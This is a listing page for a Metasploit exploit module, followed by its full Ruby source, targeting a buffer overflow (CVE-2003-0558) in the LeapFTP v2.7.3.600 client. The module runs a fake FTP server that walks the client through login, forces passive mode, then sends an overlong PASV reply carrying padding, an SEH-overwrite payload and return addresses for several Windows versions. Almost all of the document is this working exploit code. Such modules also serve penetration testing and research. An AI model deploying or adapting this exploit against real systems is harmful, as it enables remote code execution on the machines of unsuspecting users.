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LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow

LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow
Posted Nov 26, 2009
Authored by Patrick Webster | Site metasploit.com

This Metasploit module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600 client that is triggered through an excessively long PASV reply command. This Metasploit module was ported from the original exploit by drG4njubas with minor improvements.

tags | exploit, overflow
advisories | CVE-2003-0558
SHA-256 | 5e8788d89e903af1ee598af2630dba9de9b353c7d92cd67665efa427f0b0368d

LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow',
'Description' => %q{
This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600
client that is triggered through an excessively long PASV reply command. This
module was ported from the original exploit by drG4njubas with minor improvements.
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0558' ],
[ 'OSVDB', '4587' ],
[ 'BID', '7860' ],
[ 'URL', 'http://www.milw0rm.com/exploits/54' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\().,",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - Tested against w2k sp0, sp4, xp sp0, xp sp2 en OK.
[ 'Universal LeapFTP.exe', { 'Ret' => 0x004bdd24 } ], # p/p/r LeapFTP.exe
[ 'Windows 2000 SP0/4 English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
[ 'Windows XP SP0 English', { 'Ret' => 0x7660139c } ], # p/p/r cscdll.dll
],
'Privileged' => false,
'DisclosureDate' => 'Jun 09 2003',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)

buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
client.put(buffer)
end

def on_client_data(client)


client.get_once

# This could be improved if anyone wants to write a FTP server API.
user = "331 Please specify the password.\r\n"
client.put(user)

client.get_once
pass = "230 Login successful.\r\n"
client.put(pass)

client.get_once
syst = "215 Windows_NT 5.1\r\n"
client.put(syst)

client.get_once
rest = "350 Restart position accepted (100).\r\n"
client.put(rest)

client.get_once
rest = "350 Restart position accepted (0).\r\n"
client.put(rest)

client.get_once
pwd = "257 \"/\"\r\n"
client.put(pwd)

client.get_once
type = "200 Switching to ASCII mode.\r\n"
client.put(type)

client.get_once
port = "500 Illegal PORT command.\r\n" # We force LeapFTP to use PASV. It will try PORT first.
client.put(port)

client.get_once
pasv = "227 Entering Passive Mode ("
pasv << rand_text_numeric(1053) + generate_seh_payload(target.ret)
pasv << "," + rand_text_numeric(1)
pasv << "," + rand_text_numeric(1)
pasv << "," + rand_text_numeric(1)
pasv << "," + rand_text_numeric(1)
pasv << "," + rand_text_numeric(1)
pasv << ")\r\n"

client.put(pasv)

handler(client)
service.close_client(client)
end
end
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